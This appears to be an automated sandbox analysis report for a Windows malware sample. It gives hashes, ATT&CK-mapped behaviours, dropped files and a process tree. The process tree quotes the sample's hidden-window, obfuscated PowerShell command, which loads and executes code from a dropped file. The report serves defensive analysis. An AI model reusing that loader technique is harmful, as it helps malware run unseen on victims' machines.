4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
17-12-2024 02:40

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General

Target

4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe
Size

1.0MB
MD5

68ad57514cfb4e1cb4529556dbbc9b73
SHA1

3681d090c965cd8af1c7bffd6fe5427e997daa41
SHA256

4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac
SHA512

f2ef34f8ad5282676bdc3913007d471cc59e1bf20c5371817b3c85a2c24c19983d3c6c2f5e00bb539fc6596a0b02b4a33e59a4391a4165c22e0cbf2edd103f5a
SSDEEP

24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1928	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 2404	1928	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe	30
PID 1928 wrote to memory of 2404	1928	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe	30
PID 1928 wrote to memory of 2404	1928	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe	30
PID 1928 wrote to memory of 2404	1928	4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe	30

C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe
"C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Veges95=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns';$Makulaturs=$Veges95.SubString(71268,3);.$Makulaturs($Veges95) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsjBD48.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/2404-15-0x0000000074181000-0x0000000074182000-memory.dmp

Filesize
4KB

Download
memory/2404-17-0x0000000074180000-0x000000007472B000-memory.dmp

Filesize
5.7MB

Download
memory/2404-18-0x0000000074180000-0x000000007472B000-memory.dmp

Filesize
5.7MB

Download
memory/2404-16-0x0000000074180000-0x000000007472B000-memory.dmp

Filesize
5.7MB

Download
memory/2404-19-0x0000000074180000-0x000000007472B000-memory.dmp

Filesize
5.7MB

Download
memory/2404-20-0x0000000074180000-0x000000007472B000-memory.dmp

Filesize
5.7MB

Download